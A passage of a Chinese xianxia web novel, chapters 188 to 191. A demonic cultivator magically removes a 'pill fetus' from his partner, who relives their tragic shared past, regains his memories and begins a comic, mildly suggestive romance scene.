阿洄:“.……”见状,他一把将少年揪出水面。屠天霸的两条腿在水下乱蹬,嘴里顾左而言他,不停地发出抗议, “放手,不准揪我的领子,有损我的丈夫威严,你也不要冲我板着脸,看上去克夫不吉利!” 喊,说什么? 说魔修搞事,自己将计就计,企图见义勇为,最后却竹篮打水一场空? 忒丢脸。 说自己杀了两个魔修,还炼化了一个荒废的秘境?他只是一个筑基期医修,不知道啦。 阿洄瞥着他乱转的眼珠子,摆明了不配合的耍赖动作,以及风马牛不及的喊话,忍不住深吸了一口气,手指动了动……转为揪住少年的耳朵。 阿洄抿唇道:“这样总行了吧?”屠天霸继续挣扎:“不行,显得我很窝囊!”话音刚落。 阿洄的指腹在少年的耳垂上轻轻搓了几下,屠天霸顿时嚣张不起来了,窝窝囊囊地交代了事情经过。 ——魔修作恶,挟持了一众参加试炼的医修,结果荒境崩塌,将他们弹了出来。 男人的表情看上去并不信服。 但屠天霸知道他没法子追究,自然是他说什么就是什么,当即用手掌拨弄出几朵小水花,问他, “喂,你不觉得这里眼熟吗?” 阿洄沉默片刻,放弃追究少年平时喊自己‘喂’,又亲又抱的时候才肯唤一句‘阿洄’这件事。 他环视一圈,果真觉得眼熟。 这里居然是他失忆后醒来,与少年相遇的河谷? 所以说,怎么可能是荒境崩塌,将里面的修士自发弹出啊,就算是失忆的人,也不会相信荒境能将人传送到指定地点…… 肯定是少年有心为之。 偏偏这人撒谎也不顾及破绽,仿佛一点也不在意被人戳破。 或许并非自信,而是不在乎。 阿洄确实猜得不错。 屠天霸在水里泡了一小会儿,待耳边稍微清净些,才搂着男人的腰,将他带到了某个熟悉的地方。他醒来时,身下躺着的那块巨石。两人肩并肩坐在巨石的边缘处,灵力流转间,头发与身上的衣物便彻底干燥了。屠天霸忽然抬着脚,很轻地踢了一下男人的小腿,很小声地道了声, “喂……” 阿洄扭过脸,看向他。 就见少年挠了挠脸,然后撇着脸看向另一边,语速极快地抛下一句话, “那个,续命梭没了,你没救了哦。” 阿洄盯着他的后脑,不去猜测对方的眼珠子有没有乱转,只是很平静地哦了一声。屠天霸却不满意对方身上那股出奇的淡然,哪怕自空中坠落,被水没过头顶,如今更是被他甩下一个坏消息…… 为什么他既不惊慌,也不悲痛? 可恶,男人心真是海底针! 屠天霸转过头,又轻轻地踢了一下男人的小腿,好在男人身上的法衣不惹尘埃,没有蹭上他的脚印。他睁大眼睛,凑近男人的脸,让对方看清自己的神情,强调道:“我没骗你,续命梭真的没了,借不到了!”阿洄又哦了一声。 屠天霸追问:“你不担心,不着急?”半晌。 男人才慢吞吞地应了声, “.……你不是让我别问那么多,说你肯定不会让我死的吗?再说,一直都是你更着急吧?”对于死亡,阿洄没有什么实感,甚至没什么畏惧之情,仿佛活得够久,早就看淡了生死。不仅仅如此。尽管少年性格跳脱易怒,真话假话混在一起说,撒谎水平起伏不定,有时让人一眼就能看破,有时却难以辨别。但阿洄还是相信了那句话。 ——不会让你死。 思及此处,阿洄忍不住抬手将少年鬓边一缕翘得老高的碎发抚平,轻声道:“虽然不知道具体发生了什么,但…”"辛苦你了。" 屠天霸愣愣地看着男人凑近又远离,忽然捂着心口,皱着眉说:“好像有蚂蚁在咬我的内脏。”微微的刺疼,却让人无法忽略。 话罢,屠天霸忍不住偷偷对心魔抱怨了一句,“可恶,早知道当时就不给他喂那么多药了,有点后悔…!”后悔像是被蚂蚁一口一口地咬,任他满地打滚也赶不走,烦人得紧。他通的一下躺在男人的大腿上,直接将整张脸埋进男人的腰腹间,滚烫的呼吸被布料吸收……男人只是捋了两下他的头发,将打结的发梢解开,仿佛真的不怕死,整个人比河面还要平静。“宿主,世上没有后悔药吃的啦,”心魔应道,“你不是说有办法救主角的命吗?干嘛还故意吓唬人….” “对了对了,是什么办法啊?” 屠天霸沉默、纠结、不情不愿地吐出一句,“炼魂鼎可以炼化万物,比起天地间的灵气,它更喜欢炼化生灵,我可以用炼魂鼎将丹胎炼化掉,而不伤母体。”系统空间内。 白色光球仿佛地铁老爷爷看光屏,很是无语道:“那你还绕这么一大圈?要是在主角醒来当天,你就给他肚子里那货来一招顷刻炼化,岂不是早就双修上了?”屠天霸:“…” 事情哪有那么简单! 他在心里哀嚎一声,脑袋愈发用力地往男人腰腹间钻,仿佛将脑袋埋进沙子里的鸵鸟,不愿面对现实。 屠天霸悄默声地露了怯, “虽然我有本事不伤害母体,但是他跟丹胎一体,而被我炼化的生灵可能会看到我的过往记忆,万一被他看到很丢脸的记忆怎么办?!” 他也要面子的啊! 白色光球:"…比如?" 屠天霸委屈巴巴地解释道:“具体不记得了,但我偶尔生气过头会不记事,说不定做了很多丢脸的事情!” 白色光球突然想到了自己最初绑定这位宿主,将原著光屏展现在对方眼前之后,对方做出的惊世骇俗举动。 看两行原著——狂甩自己巴掌,手动清空记忆——眼神清澈地继续看原著—— 如此反复,堪称行为艺术。 系统空间内。 两个小光球的沉默振聋发聩。 白色光球:"………确实很丢脸呢。" 蓝色光球:【……嗯,是这样。】 这时,两个小光球就听屠天霸用一种很心虚的语气,继续往下说着, "等我恢复神志之后,有时候浑身痛得不行,有时候身上没穿衣服,或是从头到脚都很脏…!" 他顿了顿,心有戚戚地道: “万一本尊在神志不清的时候光着屁股满山跑怎么办?!本尊是有过先例的!” 两个光球:“??” ………原来是指这个丢脸啊。 不慌。 白色光球顺着宿主的性格发散了一下思绪,很快识破了真相,却还是诡异地沉默了两秒,才开口道: “放心啦,宿主一点都不小,主角之前不是夸过你吗?说不定他就是好这口呢?” “就像宿主你一样,喜欢大的。” 白色光球很熟练地说着违心话,“而且主角只是有可能看到宿主的记忆,也不是一定啊,再说了,万一他看到宿主英俊帅气的一面,主动投怀送抱呢?”话音刚落。 屠天霸:“嘿嘿。” 他在男人的腰腹间拱了半天,直至脑袋顶到一个小小的凸起,才很不爽地翻身坐起来,下定决心道:“其实我有办法……” “你不会死的。” 他瞪着男人的肚子,有种自己的东西被他人霸占了的无名火,表情愈发阴沉。 阿洄听到这话,发现自己不太意外。 下一瞬。 少年又抬眸,问他, “对了,如果你待会儿看到了某些不该看的东西,介意我让你二次失忆吗?我真的有点担心。”阿洄少见地打断他的话,斩钉截铁地拒绝道:“不行,绝对不行!” 闻言,屠天霸失落地点点头。 阿洄盯着他的神色,沉默片刻,忽然开口道:“如果你说一套做一套,欺骗于我,那我就……” 他卡壳了一瞬,还是往下说, “——再也不让你吃嘴了。” 屠天霸瞪着人,冷哼一声,用一种很不屑的口气应道:“真是啰嗦!” “知道了!” 189、Chapter 189 ... 说干就干。 屠天霸扯着阿洄的手腕,把人带到上次自己看中的新山洞里,路上还像模像样地解释了几句, “之前带你去妙仙宗只是权宜之计,毕竟你身体孱弱又娇气,说不定受不住我的治疗手法,可不是我医术不好…….” 进到洞中,他先是布下一个隐匿气息的法阵,然后从袖中掏出一张白玉床,示意男人坐上去,严肃道: “打胎秘技概不外传,虽然你是我的道侣,但一码归一码,不介意我遮住你的眼睛吧?” 不等男人回答,屠天霸就自顾自地摘了他的发带,作势要将他的双目遮蔽,却因男人散发的模样愣了一瞬,凑过来啃了两口。 啃完,他神清气爽地道:“脱吧!” “等你脱完了我再遮,”屠天霸仔细想了想,又改口道,“哦哦,不然先遮眼,我来帮你脱也行,顺手的事情…” 好熟悉的一个字眼。阿洄默了默。他不行。阿洄分外熟练地擦去下唇被嗫出来的水润,顺势按住少年落到自己腰带上的手,语气笃定道:"……我自己来就行。"屠天霸很失望。阿洄佯装不知,顶着那道存在感极强烈的视线,缓缓将上身衣袍褪去,叠好放在一边,才抬头说:“好了。”屠天霸眼睛乱瞟,差点把发带捆在男人的鼻子上,好在最后还是顺利捆上了。阿洄几不可闻地叹了口气,缓慢躺下。老实说,他对蒙眼没什么意见,但考虑到少年对某些事物的执念,阿洄忍不住追问道:“你不会趁机做些奇怪的事情吧?”系统空间内。白色光球嘶了一声,“主角说话真是委婉又好听啊,应该是‘变态的事情’吧?”然而,这话落在屠天霸耳中,只起到一个启发的作用,他恍然大悟般地挠挠脸,反问道:“原来还可以这样啊?那我……”阿洄断然:“不可以。”屠天霸:“喊,谁稀罕!”屠天霸嘴犟了一会儿,艰难地收回了视线,随即他闭着眼,深呼吸了几个来回。再睁眼时——他的表情变得冷肃,那双乌黑的杏眼中空无一物,俨然进入‘胸脯眼中过,打胎心中存’的高深境界。山洞中,寂静无声。屠天霸摊开手掌,轻轻落到男人微凸起的腹部,很快,他的指尖溢出一缕稀薄的血雾,顺着男人的肌肤往下……随着血雾的逸散,他那只手掌的血肉筋脉统统消去,只剩下乌黑的手骨,骨面并不光滑,雕刻着密密麻麻的恶鬼纹。由于男人身上的共振之术还在生效,所以屠天霸久违地感到腹部传来一阵剧烈的疼痛,像是五脏六腑被融化了,淌了一地的血水。被炼魂鼎炼化,就是这般感受。屠天霸不为所动,专心操纵着血雾包裹住男人腹中那团蕴含着巨量灵气的丹胎,却忍不住暗暗夸赞自己一句,不愧是本尊,真是有先见之明!不然这个娇气包还不疼死过去?本尊可真是个体贴的好道侣!就在这时候。他忽然感受到丹胎传来一阵阵异动,想来正是奋力抵抗着血雾的炼化,不停输出自己储存的灵气。若是换另一个人,说不定真耗不过它。——偏偏它杠上的是屠天霸。他的魔息取之不尽,平时还能自动转化天地灵气为魔气,可谓是修魔的绝佳体质。这头。屠天霸正全神贯注地炼化丹胎。另一头。随着腹部传来的冷热交替之感,阿洄的意识逐渐模糊,整个人好似被无边际的黑暗裹住了,挣脱不得。他甚至没有发现,自己又昏了过去。阿洄只觉得眼前骤然亮起光,便下意识地睁开了眼,奇怪的是,他的视线却没有被布料遮挡….恍惚中,他瞥见了一片混沌的天。混沌天被捅破了一个大洞。天底下,赫然是上古仙魔大战的景象。阿洄恍如一道虚魂,愣愣地望着七十二根盘龙柱斜插在龟裂的大地上,每根柱子顶端都钉着一具金仙尸骸—七十二具,无一错漏。尸骸的遗容平静极了,仿佛早就预料到了这一幕,甚至隐隐透出几分得偿所愿的意味。盘龙柱之下,便是主战场了。仙魔厮杀声一片,仙人与魔物的血液遍地挥洒,魔血更是不停腐蚀着这片大地……"杀!杀光他们!"魔物攻势凶猛,一众仙人苦战许久,无奈一退再退,正当时,就听见一道灵气传音道:“诸位,不枉七十二金仙献身,如今封魔大阵已成!起阵!”话音刚落。阿洄就望见盘龙柱亮起刺眼白光,立于阵眼处的道人抛出一方巴掌大的白玉仙鼎!转瞬间,白玉鼎化为如天幕一般大的巨鼎,令天地变色,地下的魔物被它镇住,紧接着,攻势愈发激进。战场死亡无数,残尸遍地。“嗡嗡……”仙鼎似乎感受到此方世界的哀嚎,发出了几声响彻天地的的嗡鸣,倒扣的鼎口飞速往下压,无视境界,将战场上的魔物,以及那些从地脉涌出的魔气统统封入鼎中!随着魔气的涌入,白玉鼎身上的镇魔符文逐渐染上墨色,里头的魔物挣扎着想要出逃,却只在鼎身烙下形同恶鬼的脸。再然后,仙鼎灌满魔气,隐约有吞噬不下的迹象,为数不多的金仙献身补位,反手用法器贯穿了自己的喉咙……最后,这场上古仙魔大战以两败俱伤落下帷幕,两方都元气大伤,人间更是破败不堪,不知多少年才能缓过来。幸好凝聚了无数仙人灵力的仙鼎封印了千千万万的魔物,还将祸乱世间的魔气尽数吸纳入内,还人间一片清气。只是它彻底被染成墨色,不复原貌。做完这一切,仙鼎变回原来的大小,可发动法阵的主人已经耗尽灵气,枯竭而死。它成了无主的法器。但仙鼎仍记着自己的使命,寻了一处深渊,将自己埋了进去,在发出最后一道嗡鸣之后,陷入了长达千万年的沉睡。“….阿洄心神激荡,自然而然地领悟了此时的境况:自己所看到的,居然是那方仙鼎的记忆!岁月如梭。阿洄一眨眼,千万年过去了。仙鼎的灵识已经被魔气侵染,消散,里头无数的魔物却怨气不散,将这方仙鼎洗炼成一件上古魔兵,并且在机缘巧合之下,被某个寻仙问道的修土挖了出来。修士蓝道子被魔鼎蛊惑,堕入魔道,性情也大变样,变得残忍冷血,动辄拿活人来祭炼魔鼎,还为它取了个名字—炼魂鼎。这天。蓝道子路过某个贫苦村落,炼魂鼎发出嗡鸣,示意他在此停留。果不其然。蓝道子还真在这个小村子里发现了一个天赋过人的小鬼,当即摆出一副仙风道骨的修士模样,想要将人收为弟子。世人多愚昧。蓝道子随便亮了几手,整个村落的人便将他奉为仙长。那小鬼的父亲是个大字不识的屠户,半是诚惶诚恐,半是惊喜交加地喊着:"哎呀,我家小明真的特别聪慧!我就说这么皮的孩子以后必成大器,大家伙儿这回总该信了吧?!"众村民齐刷刷地点头,一副与有荣焉的样子。只有刚从外头摸爬滚打回来的小孩儿拎着一根小树枝,满脸状况外地问了句,“啊?怎么这么多人在我家?”"今天又不是杀猪的日子,而且我这两天也没有闯祸啊?"小孩身上全是泥,脸上也脏兮兮的,那双圆溜溜的大眼睛却亮极了,得知发生了什么事后,他挠挠脸,很干脆地道:"修仙?修个毛的仙啊,不去。"很快,他就因为对仙长言语不敬,被他的屠户爹拽到屋后啪啪啪打了一顿屁股,只是还来不及扯着嗓子哭,就被屠户爹抱在怀里,轻声劝道:“你去吧,这是你的机遇。”“爹不想你一辈子困在这里……”小孩儿本来还在生气,闻言,别别扭扭地转过头来,边气边说:“我要是走了,家里就剩下你一个人了,而且万一那个人是骗子怎么办?转头就把我卖了,我哪里找得到回家的路啊?”“那位仙长本事啷个大,怎么可能是骗子嘛!你信我嘛!”“……哼,不去。”“那这样,你尽快学成出师,再回来看我,这总行了吧?”最后,小孩儿还被劝着踏上了修仙路。离村那天,阿洄与其他村民一同送别两人,就见小孩儿一步三回头地往外走,满脸的不舍。阿洄洞悉前后因果,心中沉重万分,只是不等他多想,眼前的景象骤然变换,居然是蓝道子孤身去而复返,将整个村子的人命填进了鼎中!霎时间,哀嚎痛呼四起。阿洄站在其间,眉眼是难得的凌冽,仿佛利刃出鞘,可惜他仅是一道虚影,而眼前这一幕……也只是一桩不知过去了多少年的旧事。任谁也无力回天。阿洄的一颗心沉甸甸的,宛如孤魂野鬼一般看着被蒙在鼓中的小孩儿为了早日归家而努力修行。十年,小孩儿长成了小少年。也正是第十年,少年筑基,变故横生。蓝道子受到魔鼎的提示,在少年面前凶相必现,反手将他投入鼎中,以魔息与阴火焚身祭炼。期间,蓝道子还吐出灭村一事,以及那些人的亡魂被困在在鼎中,生生世世无法逃脱的真相,促使少年滋生诸多愤怒、悲伤等魔鼎所需的情绪….…阿洄感受不到疼。所以他站在目眦俱裂的少年身前,不知道对方的血肉与脏器被融化的时候,到底有多疼。恍惚间,阿洄只想到了一句话。是少年捂着自己心口说的那句‘好像有蚂蚁在咬我的心''。……阿洄终于感同身受。就在这时。他忽然听到了一道熟悉的嗡鸣,竟是仙鼎残存的一丝神念在向少年发出启示。奇怪的是,阿洄也听懂了。鼎灵愿意耗尽最后一丝神念,放出被魔修投进来的所有亡魂,并帮助众多亡魂再入轮回,但代价是少年必须与它融合,替它继续镇守魔物怨气,不让魔物怨气继续蛊惑修士,为祸人间。少年看着鼎中那一张张枉死的、熟悉的面孔,淌下两行血泪,忙不迭地应了下来。可是上古魔物的怨气哪里是好抵御的?少年干脆将自己的灵魄一分为二,一半留在鼎中抵御魔物怨气,另一半则保留了多数的人性,以至于少年的性格偏向于童稚时的跳脱,顽皮……他从来都没忘记过约定。大概是因为人睡着之后,意志力会变得薄弱,所以少年从来都不睡觉,甚至还会抽自己巴掌提神,顺便跟鼎中魔物怨气斗嘴。他甚至给自己种下了一道作用于神魂的强效禁制:只有解决了与炼魂鼎融合为一的问题,才能睡觉。其后十年,少年奔波在求医的路上,却因浑身的魔气而备受忌惮,再加上那魔气会放大人心中的恶念……阿洄跟在他身边,看到他被排斥,或被群起而攻之,看着这个抵御着上古魔气的少年人一步步成为仙魔两道公认的弑杀魔尊。——真是可笑。阿洄望着那个疲惫至极,将自己锁在山洞中换来片刻休憩的少年,不自觉地抬步上前,想要轻轻抚摸他的脸……却也只是痴心妄想。他比孤魂野鬼还不如。最起码,孤魂野鬼真实存在于少年的过往,他却只是一个虚无缥缈的看客,什么都做不了。阿洄的唇边浮现一丝苦笑。下一瞬。周遭的景象又是一变。阿洄回过头,看到少年提着屠刀走在小路上,嘴巴里还哼着不着调的小曲,丝毫瞧不出忍耐着常人无法想象的痛苦。……让人心生钦佩。阿洄下意识地抬腿跟上去。万万没想到,他一抬眼,视线里冷不丁撞进了一道白衣翩扁的颀长身影。那个人站在不远处。那个人……长了一张跟他一模一样的脸。阿洄如遭雷劈。与此同时,他的耳边响起了一道古怪声音,像是某个藏在脑海深处的匣子被打开的声响。 190、Chapter 190 ... 只是一个照面,一千三百余年的漫长记忆翻涌而上,淹没了短短四五天的记忆,阿洄骤然想起来原来自己不叫阿洄少年也不是什么屠医修。他们之间,并非少年胡诌的善良医修与贫穷剑修的故事,而是仙魔之别,眼下的场景更是归清门仙君与戮天宗魔尊的初见。戮天宗听着可怖,仿佛蕴藏着充满刀光剑影的血腥气,但聂无洄的脑中却不期然响起了少年的一句怒骂,“这贼老天真是该死啊!” ……原来是这么个“戮天宗 呀。 聂无洄忍不住弯了弯嘴角,但很快收敛起来,他凝视着因另一个自己的几句问话而陷入癫狂状态的少年,轻声喃道: “…你说得不错,你确实很有男子气概,很有担当,哪怕被唤起了最不愿想起的记忆,却不忘压制鼎中的魔物怨气,不让自己沦为丧失神志的魔。”“换做是我,也要自叹弗如。” 聂无洄的记忆已经回了笼,自然知道接下来会发生什么。他抬起头,望着那片黑压压的天穹,雷蛇在乌云间游动,隐隐露出一截亮白色的尾巴。 聂无洄闭了闭眼,叹道: “是我对不住你,害你神智紊乱。” 三百年前,占星派大长老与他会面,说此世界即将迎来灭世危机,只有聂无洄能够化解灾难。那枚预言玉简恰好显示着一个人名,以及一串地名。占星派大长老为了卜算灭世危机,已经耗尽了灵气与寿数,殒命前,他又算出那人未来会成为一个当世无敌的魔头,拜请聂无洄捍卫正道。聂无洄没有受他的礼,只应了一句, “——无洄在所不辞。” 他出生于乱世,自幼失去双亲,连性命都难以保全,幸好被归清门的初代掌门捡了回去,教导他仁义礼信,叮嘱他隐藏好自己的特殊体质……对于聂无洄来说,老掌门亦师亦父。 他将归清门看作自己的家,又因天生体质,在修行一事上得天独厚,自当回报宗门养育之恩,回报天地,视除魔卫道为己任。所以,聂无洄闭关三百年,以应对灭世危机,直至预言玉简启动,将他传送到一处陌生地方。 应劫之日,来了。 这天,他亲眼见到了预言中的魔头,心中却生出几分犹疑,不等他从少年的癫狂中回神,天上迅速凝聚起雷云,来势汹汹。 “轰隆!” 第一道雷落下。 霎时间,被聂无洄握在手心的预言玉简猛地飞向半空,替少年挡下了这道雷,自身化为面粉! 聂无洄恍然明悟。 原来预言玉简不想让少年死去。 雷云之下。 少年魔气缠身,双目血红地怒吼着‘吵死了,闭嘴,都闭嘴!'',很快,他抽巴掌的手停下来,握成拳后毫不留情地砸向自己的脑袋!当时的聂无洄还不理解预言的真意。 但他也做出了如玉简一般的决定——提剑上前,替少年护法,抵挡剩下的天雷劫。 乌云浓稠如墨,蓝紫色的雷电瞬息贯穿云海,以天崩地裂之时劈下来。 雷光未至,方圆十数里的松林已化作焦炭,山石迸裂! 聂无洄手持仙剑不驯,迎头而上。 雷劫声势浩大,一道更比一道凌冽,聂无洄还是第一次遇上如此强劲的雷劫,不知过去了多久,他忽而听到咔的一声,本命仙剑应声而断! 不驯剑折。 聂无洄也受了伤。 可天雷还远远没到结束的时候。 “……. 聂无洄以幻影之身,从旁观者的视角重新审视了一遍过往。 他看着自己被天雷笼罩的身影,以及神志混乱,仍在坚守的少年,终于明白了预言玉简想要表达的真实意图。 占星大长老和他都错怪了少年。 预言并非要聂无洄灭了魔头,而是让他帮助少年战胜魔鼎,不叫上古魔物的怨气重回天地,掀起另一场仙魔大战。 人间已经不起这般蹉跎。 至于如何帮助? 聂无洄忽然想起了自己隐藏得极好的特殊体质,并非炉鼎却胜似炉鼎,与人双修便能净化对方的灵根,或杂息…… 想来,魔物怨气也是能化解的。 只要他与少年双修… 紧接着,聂无洄又想起少年日日挂在嘴边的双修,难不成是对方本能地感知到自己能协助他化解危机,才时时纠缠? 莫名的,聂无洄心中泛起一丝波澜。 但波澜很快就平息了。 随之而来的,是一道婴儿的啼哭。 聂无洄抬眼,发觉周遭的景色已然变换了。他站在一片黑暗中,面前是一团血肉胎膜。 胎膜中,蜷缩着一个婴孩,泛着金光的灵气从它的双眼、鼻喉、耳中逸散而出,融合在这片黑暗中。 它朝聂无洄抓了抓手掌,似在求救。 聂无洄找回了过往记忆,也没有失去近几日的记忆,更是通过少年的视角,补全了自己昏迷期间所发生的事情。 他自然知道这婴孩非同寻常。 少年的灵药、自己的体质、以及天雷劫在自己身上残留的一缕先天灵气,三个因素缺一不可,这才促成了如今的境况。聂无洄走上前去。 他牵住丹胎的小手,神情悲悯,却不带一丝丝犹豫,轻声道: “抱歉,我现在还不能死,万万不能让你降生。” “念在你与我们二人沾染了因果,要是你愿意放弃这具带有先天灵气的躯壳,我可以保留你的灵识,以后遇到合适的机遇,再助你降生,可好?”不多时。 丹胎委委屈屈地哭了几声,终是放弃了肉身,浑身灵气被炼化了个彻底,只剩下一粒小小的灵识光点,被男人握在掌心里。 黑暗中。 聂无洄闭上了双眼。 老话说的好,人真的不能太冲动。 屠天霸当真后悔自己前些日子的冲动之举,他一边炼化着丹胎体内的浩瀚灵气,一边暗暗自省: 都怪他。 都怪他断袖得太迟了! 真是拎起锄头砸了自己的脚! 只是这道念头刚一闪过,屠天霸就感到掌下的丹胎放弃了抵抗,磅礴的灵气倾涌而出,被他尽数炼化。 不消半刻。 男人腰腹间的微小鼓起不见了。 那截腰身的线条好看,反倒衬得他胸脯愈发馋人。 屠天霸收回血雾,骨手刚恢复成血肉之躯的模样,就忍不住瞪着男人的胸脯,思考自己是不是能趁机偷啃两口? 不是他下流。 毕竟吃嘴都这么舒服了,屠天霸简直不敢想象这有多舒服。 他没什么坏心眼的,就是好奇! 然而,当屠天霸弓着背,刚把脑袋凑过去的时候,仿佛陷入沉睡的男人正好一言不发地坐起身来,屠天霸只感觉有什么很有嚼劲的东西擦过了自己的唇……不等他反应过来,他的脑袋已经撞进了男人的胸脯里。 屠天霸心虚地跳了起来,后退两步,对着男人刚摘下发带的双眼,先声夺人地告恶状:“你的胸脯真是凶得很,怎么还会扇人巴掌?!可不是我不守约定啊!”“我没想偷吃,没想啊!” 急赤白脸地乱喊了一通,屠天霸才发现男人望着自己愣愣出神许久,看上去像是傻掉了一样,眸中闪烁着他看不分明的光。 屠天霸心里顿时咯噔一下。 心魔说过,打胎不是小事,可能会影响到孕夫的状态,该不会影响到两人后续的双修吧?于是,屠天霸安静下来,仔细打量着男人,很是生疏地安慰了一句, “啊,你不要伤心。”“其实那不是我们的孩子,就是个借住的,我已经把它赶走了,你要是真的想生孩子,我以后再让你怀,多少个都可以!”他挠了挠脸,兀自笑了两声, “哈哈,旧的不去,新的不来嘛!”山洞中,一片寂静。只有屠天霸的爽朗笑声在回荡。屠天霸笑着,继续打量男人。 就见男人坐在白玉床上,上身赤着,手上还攥着那条发带,神情与以往相比,似乎产生了些许变化。 看上去更加沉静了。 嗯…好像让人更有食欲了….… 只是那双沉静的眼始终凝望着自己,仿佛经历了一场生离死别,让屠天霸的笑声渐低,最后咳嗽了两声,彻底安静下来。 说话啊!怎么不说话?! 可恶,本尊果然是被抓了现行! 屠天霸先是很不自在地踢开地上的小石粒,然后假装很忙地左看右看,被男人盯得实在受不了,刚想吼他两句,又想起这人是个刚落了胎的可怜孕夫…… 屠天霸:“.… 有点心虚。 好在屠天霸心思敏捷,立马想到了应对之法。 哐的一声! 他背过身,先是往地上砸了一堆灵木柴火,然后掏出一个拳头般大的白蛋,全程回避着男人的视线,语速飞快地道: "哎呀哎呀,你现在一定很虚弱,我给你做个红糖灵兽蛋汤补补身体。" 这可是他辛苦摸的蛋,十分难得。 话罢,屠天霸很倔强地补充了一句, “我已经不计较你用胸脯扇我巴掌的事情了,道侣之间哪有隔夜仇,我很通情达理的。你也不要介怀了…!” 寂静。还是寂静。 屠天霸忍不住了,悄悄回头看了一眼。 男人脱下来的衣服仍旧叠得整齐,他就这么望着屠天霸,在屠天霸回看之际,颔了颔首,还抬手将落在脸侧的发捋到耳后。 这番动作,看得屠天霸莫名感到一阵心潮澎湃,半晌移不开视线。 数息之后,男人轻轻道了声, “……你,” “.……现在还想双修吗?” 这话宛如石破天惊,掷地有声。 男人的话音刚落,屠天霸就听到啪嚓一声,一粒火星子爆裂开来,跳到他脚边,滚了好几圈才安分下来。 他忍不住张大了嘴巴。 "…啊?" 应声时,他手上还举着好大一个蛋。 或是心里还念着红糖灵兽蛋汤的事,屠天霸举着灵兽蛋,无意识地在空气中磕了两三下,奈何指头摸了半天,也没摸到磕出来的缝,怎么剥都剥不开。 见状,男人偏过脸,形状姣好的唇抿出一丝很不明显的弧度,却被屠天霸敏锐地捕捉到。 他很是机警地质问道: “你是不是在笑话我?笑什么?” 聂无洄沉默片刻,掀起眼皮,露出底下那双清正温和的眼眸,看得屠天霸气都撒不出来,说话时,语调更是舒缓, “……尽管你有时举动异于常人,但我知道,这只是因为你的性情纯真正直,将大部分的精力耗费在更需要你的地方,才显得跳脱。”“所以,我怎么会笑话你?” 屠天霸听得通体舒畅,顿时卸下防备。 聂无洄微微一笑,将自己的真实想法全然吐露,“我只会钦佩你小小年纪,就如此勇敢坚毅,我自愧不如。” 他顿了顿,下定决心—— 为了化解灭世危机,帮助这位独自抵御魔鼎长达三百年的少年度过此劫,他这一介肉身又算得了什么?聂无洄压制住面上的燥热,又不动声色地深吸了一口气,再度邀约道: “如果你想的话,可以吃我的……”聂无洄话没说完,顿住。他忘了自己此时仍是凡人之身,灵气修补经脉的速度没那么快,也没有多余的灵气以供他浪费。 聂无洄顶着火辣辣的脸,终于难以抑制地微微移开视线,不敢去看少年的神色,只低低地补全了下半句话, “…胸脯。” 听到这两个字,屠天霸的手一抖,灵兽蛋啪的一下掉到了地上。 好在灵兽蛋不是寻常的蛋,没有摔破。 但屠天霸已经没空去留意一个不重要的灵兽蛋了,他蹲在火堆前,小脸被火光映成了橘黄色,嘴巴大张。 片刻后。 屠天霸又想起了那枚灵兽蛋,一把将它从地上薅起来,然后慢踱步走到男人面前。 他小心翼翼地将这枚灵兽蛋放在男人的腰腹间,强忍着啃胸脯的急切,满脸沉痛地拍了拍他的肩, "………我理解,老年丧子是很难受。" 嘿嘿,肩膀好滑。 屠天霸又拍了两下,只是他的手掌贴着男人的肌肤,看上去更像是摸。 他继续说,语气悲痛, “虽然那也不是我的孩子—啊,我不是说你红杏出墙了,但这个也不是你的孩子呀,你将就着用吧,早日节哀。” "一刻钟够吗?" “我顶多只能忍一刻钟,就忍不住想要开吃了,到时候你不会觉得我是个急色的道侣,很没男子气概吧?” “不然,两刻钟?” “…可恶,真的忍不了更久了!谁让它就在我面前晃悠,好似迫不及待地想扇我巴掌,堵我的嘴,我怎么忍得住?!”聂无洄听着这番天马行空的劝慰,萦绕在心间的沉重仿佛被一阵清风吹散,让他忍不住会心一笑。只是脸还是有些热。聂无洄轻轻将那枚灵兽蛋放在自己叠好未穿的衣袍上,不受控制地凑近少年,偏着脑袋在他唇间落下一道轻吻。屠天霸戛然安静,双眼圆睁。 与此同时,他不自觉地舒了一口气。 吃嘴好,吃嘴妙。 他很擅长吃嘴,也省得露了怯,被男人发现自己从未双修过,是个青涩的毛蛋子! 他暗暗做好了打算。 待入了夜,男人陷入沉睡之时,他可得好好研读几遍书册,将双修一事研究得更加透彻,最好达到双修宗师的高深境界。 他聪慧得很,定然难不倒他。 明天就能顺利双修了! 屠天霸眼珠子一转,算盘打得噼里啪啦响,忍不住嘿嘿一笑,猛地将男人扑倒在白玉床上,俨然恢复了往日的自信从容。 他压着男人,熟练地吃起了嘴。 然而,下一瞬。 屠天霸发现男人在吃嘴期间骤然分开了紧闭的双唇,致使自己冷不丁嗫上一截温热的舌尖,霎时间,一股从未有过的酥麻之感从他的脚底板窜到天灵盖。 屠天霸:“!” 屠天霸:“你你你,你干什么?!” 迎着少年惊诧错愕的视线,聂无洄莫名有种做了错事的局促。 明明对方年纪不算小,平日更是将亲昵言语挂在嘴边,一副无所顾忌的模样… 但聂无洄毕竟年长他许多,又是主动邀请者,所以面对少年这般反应,他还是按耐不住心中异样,热度已经从脸上蔓延到了耳根。 他低声解释道:“这是亲吻,关系亲近的道侣都会这么做。” 是啊。 关系亲近的道侣会这么做。 可聂无洄跟少年到底不是一对货真价实的道侣。 尽管他暗下决心,愿意舍了元阳与少年双修,以渡灭世危机,但这是舍身取义的无奈之举。 双修是双修,不一定要亲吻。 聂无洄闭了闭眼,心起涟漪。 是他私欲使然啊。 191、Chapter 191... 屠天霸输得彻底。 自诩吃嘴宗师的他,被男人的一个亲吻打得魂不附体,尤其是对方那句‘关系亲近的道侣都会这么做,这这这— 这分明就是爱惨了他呀! 可恶。 只好暂且放下自己吃嘴略输一筹这件小事了。居天霸不纠结,一下子将萦绕在心间的那点小小挫败踹飞出去。 然而,一根羽毛趁机闯了他的空门,一下下地撩拨着他的心。 心痒,痒得不行。 居天霸哼哧了半天,没说出一句话,好在他的悟性极高,立马领悟了所谓亲吻,当即压着男人反喂他的舌头,叫叭响。 不慌,这难不倒他。 只是不出一会儿,男人便推了推他的肩膀,艰难地发出了一连串不连贯的音节, “轻、轻一点,不是这样的,你先松开让、唔.呵让我喘口气……” 居天霸如痴如醉,根本停不下来,听到男人这般说,甚至更加起劲地喂个不停,以至于男人沉默片刻,突然轻呼一声 “疼,有点疼。” 尽管男人口齿含糊,居天霸却听得一清二楚,他机警地松了口,抬眼扣着男人的肩头左看右看,嘴里还气恼地念叨着, “哎呀,你真的是不中用….!” “又哪里不舒服了?” 